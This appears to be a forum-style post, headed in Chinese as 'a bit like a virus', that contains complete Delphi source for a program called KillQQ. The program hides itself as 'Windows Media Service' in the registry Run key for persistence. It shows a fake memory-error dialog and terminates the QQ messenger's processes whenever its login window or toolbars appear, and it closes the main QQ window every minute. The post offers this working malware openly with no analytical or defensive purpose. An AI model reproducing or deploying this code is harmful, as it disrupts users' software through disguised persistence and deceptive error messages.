有点像virus<br>program KillQQ;<br><br>uses<br> Windows;<br><br>var<br> Thread: Thandle = 0;<br> ThreadID: DWORD;<br> IsExit: BOOL = False;<br> MSG: TMSG;<br> HH: HKEY;<br> ExeName: array[0..255] of Char; <br>const<br> AClssList: array[0..2] of array[0..255] of Char = ('Tencent_QQBar', 'Tencent_AddrBar', 'Tencent_AddrToolBar');<br><br><br>function WriteKey(PhkResult: HKEY; IpSubKey, aKeyName, IpValue: LPSTR): Boolean;<br>function IsRelative(const Value: string): Boolean;<br>begin<br> Result := not ((Value <> '') and (Value[1] = '/'));<br>end;<br>var<br> Disposition: Integer;<br> Relative: Boolean;<br> S: string;<br>//Example: WriteKey(HKEY_LOCAL_MACHINE, 'SOFTWARE/Microsoft/Windows/CurrentVersion/Run', pchar(shortName), Pchar(exeName));<br>begin<br> Result := false;<br> S := IpSubKey;<br> Relative := IsRelative(IpSubKey);<br> if not Relative then<br> Delete(S, 1, 1);<br> IpSubKey := pchar(S);<br> if RegOpenKey(PhkResult, PChar(IpSubKey), HH) <> ERROR_SUCCESS then<br> if RegCreateKeyEx(PhkResult, Pchar(IpSubKey), 0, nil,<br> REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, nil, HH, @Disposition) <> ERROR_SUCCESS then<br> begin<br> //MsgBox('Open registry error!', MB_OK);<br> if PhkResult <> 0 then<br> RegCloseKey(PhkResult);<br> exit;<br> end;<br> Result := RegSetValueEx(HH, PChar(aKeyName), 0, 1, PChar(IpValue), lstrlen(IpValue)) = ERROR_SUCCESS;<br> //MsgBox('Registry SetValue error!', MB_OK);<br><br> if PhkResult <> 0 then<br> RegCloseKey(PhkResult)<br>end;<br> <br>procedure FormatChar(output: PChar; format: PChar; arglist: array of Integer);<br>begin<br> Windows.wvsprintf(Output, format, @arglist[Low(arglist)])<br>end;<br><br>function KillProcFromHwnd(const Hwnd: HWND): BOOL;<br>var<br> PID: DWORD;<br> Text: array[0..1024] of Char;<br>begin<br> if Windows.IsWindow(Hwnd) then begin<br> GetWindowThreadProcessId(Hwnd, @PID);<br> FormatChar(Text,<br> '程序阅读内存:$%8.8x 错误,请重新启动程序。'#13#10'错误地址:$%8.8X。'#13#10'进程地址:$%8.8X。'#13#10'按[确定]终止程序,按[取消]调试程序。',<br> [Hwnd + 255, Hwnd, PID]);<br> Windows.MessageBox(Hwnd, Text, 'QQ', MB_OKCANCEL + MB_ICONHAND);<br> Result := TerminateProcess(OpenProcess(PROCESS_TERMINATE, False, PID), 0);<br> end else<br> Result := False;<br>end;<br><br>function CheckClassName(const ClassName: PChar): BOOL;<br>var<br> I: Integer;<br>begin<br> Result := False;<br> for I := Low(AClssList) to High(AClssList) do<br> if lstrcmp(AClssList, ClassName) = 0 then<br> begin<br> Result := True;<br> Break;<br> end;<br>end;<br><br>procedure ThreadProc; stdcall;<br>var<br> H: HWND;<br> P: TPoint;<br> Cname: array[0..255] of Char;<br>begin<br> repeat<br> Windows.Sleep(100);<br> H := FindWindow(nil, 'QQ用户登录');<br> if H <> 0 then<br> KillProcFromHwnd(H);<br> GetCursorPos(P);<br> H := Windows.WindowFromPoint(P);<br> if H <> 0 then begin<br> FillChar(Cname, SizeOf(Cname), #0);<br> Windows.GetClassName(H, Cname, SizeOf(Cname));<br> if CheckClassName(Cname) then<br> KillProcFromHwnd(H);<br> end;<br> until IsExit;<br>end;<br><br>procedure ThreadProcA; stdcall;<br>var<br> H: HWND;<br>begin<br> repeat<br> Windows.Sleep(1000 * 60);<br> H := FindWindow(nil, 'QQ');<br> if H <> 0 then<br> Windows.SendMessage(H, $0010, 0, 0);<br> until IsExit;<br>end;<br><br>var<br> Mutex: DWORD;<br>begin<br> Mutex := Windows.OpenMutex(MUTEX_ALL_ACCESS, False, 'WindowsMediaService');<br> if Mutex <> 0 then Halt;<br> Windows.CreateMutex(nil, False, 'WindowsMediaService');<br> lstrcpy(ExeName, PChar(ParamStr(0)));<br> WriteKey(HKEY_LOCAL_MACHINE, 'SOFTWARE/Microsoft/Windows/CurrentVersion/Run', 'Windows Media Service', ExeName);<br> Thread := Windows.CreateThread(nil, 0, @ThreadProc, nil, 0, ThreadID);<br> Windows.CreateThread(nil, 0, @ThreadProcA, nil, 0, ThreadID);<br> while GetMessage(Msg, 0, 0, 0) do;<br> IsExit := True;<br> if Thread <> 0 then begin<br> Windows.TerminateThread(Thread, 0);<br> CloseHandle(Thread);<br> Thread := 0;<br> end;<br> { TODO -oUser -cConsole Main : Insert code here }<br>end.